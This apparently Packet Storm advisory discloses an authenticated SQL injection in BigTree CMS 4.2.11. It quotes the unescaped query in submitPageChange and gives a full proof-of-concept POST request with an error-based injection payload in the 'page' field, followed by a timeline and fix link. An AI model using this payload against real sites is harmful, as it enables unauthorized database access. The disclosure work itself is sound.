BigTree CMS 4.2.11 SQL Injection

2016-06-28T00:00:00
ID PACKETSTORM:137691
Type packetstorm
Reporter Mehmet Ince
Modified 2016-06-28T00:00:00

Description

                                        
                                            `1. ADVISORY INFORMATION  
========================================  
Title: BigTree CMS <= 4.2.11 Authenticated SQL Injection Vulnerability  
Application: BigTree CMS   
Remotely Exploitable: Yes  
Versions Affected: < 4.2.11  
Vendor URL: https://www.bigtreecms.org  
Bugs: SQL Injection  
Author: Mehmet Ince  
Date of found: 27 Jun 2016  
  
  
2. CREDIT  
========================================  
Those vulnerabilities was identified during external penetration test  
by Mehmet INCE from PRODAFT / INVICTUS.  
  
Netsparker was used for initial detection.  
  
3. DETAILS  
========================================  
  
Following codes shows $page variable is used at inside SQL query without proper escaping nor PDO.  
  
File : /core/inc/bigtree/admin.php  
  
Lines 6866 - 6879  
  
function submitPageChange($page,$changes) {  
if ($page[0] == "p") {  
// It's still pending...  
$type = "NEW";  
$pending = true;  
$existing_page = array();  
$existing_pending_change = array("id" => substr($page,1));  
} else {  
// It's an existing page  
$type = "EDIT";  
$pending = false;  
$existing_page = BigTreeCMS::getPage($page);  
$existing_pending_change = sqlfetch(sqlquery("SELECT id FROM bigtree_pending_changes WHERE `table` = 'bigtree_pages' AND item_id = '$page'"));  
}  
...  
}  
  
  
Basically submitPageChange function is vulnerable against SQL Injection vulnerability. This function was used twice during development. Following list shows location of these function callers.  
  
/core/admin/modules/pages/front-end-update.php  
/core/admin/modules/pages/update.php  
  
  
PoC:  
  
Following HTTP POST request was used in order to exploit the SQL Injection flaw.  
  
POST /site/index.php/admin/pages/update/ HTTP/1.1  
Cache-Control: no-cache  
Referer: http://10.0.0.154/site/index.php/admin/pages/edit/2/  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36  
Accept-Language: en-us,en;q=0.5  
X-Scanner: Netsparker  
Cookie: PHPSESSID=amsscser3eg7fkljpjjt78ki17; hide_bigtree_bar=; bigtree_admin[email]=mehmet%40mehmetince.net; bigtree_admin[login]=%5B%22session-5770eca81c6d86.91986415%22%2C%22chain-5770ec71e2d7d3.28696204%22%5D; PHPSESSID=lsrbe949jc3na5j1sof19a3s53  
Host: 10.0.0.154  
Accept-Encoding: gzip, deflate  
Content-Length: 2248  
Content-Type: multipart/form-data; boundary=b788b047b8e345b792cdc1f81fef2106  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
2097152  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="_bigtree_post_check"  
  
success  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="page"  
  
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="nav_title"  
  
The Trees  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="title"  
  
The Trees  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="publish_at"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="expire_at"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="in_nav"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="redirect_lower"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="trunk"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="external"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="new_window"  
  
Yes  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="resources[page_header]"  
  
The Trees  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="tag_entry"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="route"  
  
trees  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="seo_invisible"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="ptype"  
  
Save  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="max_age"  
  
3  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="template"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="meta_keywords"  
  
  
--b788b047b8e345b792cdc1f81fef2106  
Content-Disposition: form-data; name="meta_description"  
  
  
--b788b047b8e345b792cdc1f81fef2106--  
  
  
4. TIMELINE  
========================================  
27 Jun 2016 - Netsparker identified SQL Injection.  
27 Jun 2016 - Source code review and finding root cause of SQLi.  
27 Jun 2016 - Issue resolved by PRODAFT / INVICTUS team.  
27 Jun 2016 - Pull Request has been sended.  
  
https://github.com/bigtreecms/BigTree-CMS/pull/256  
`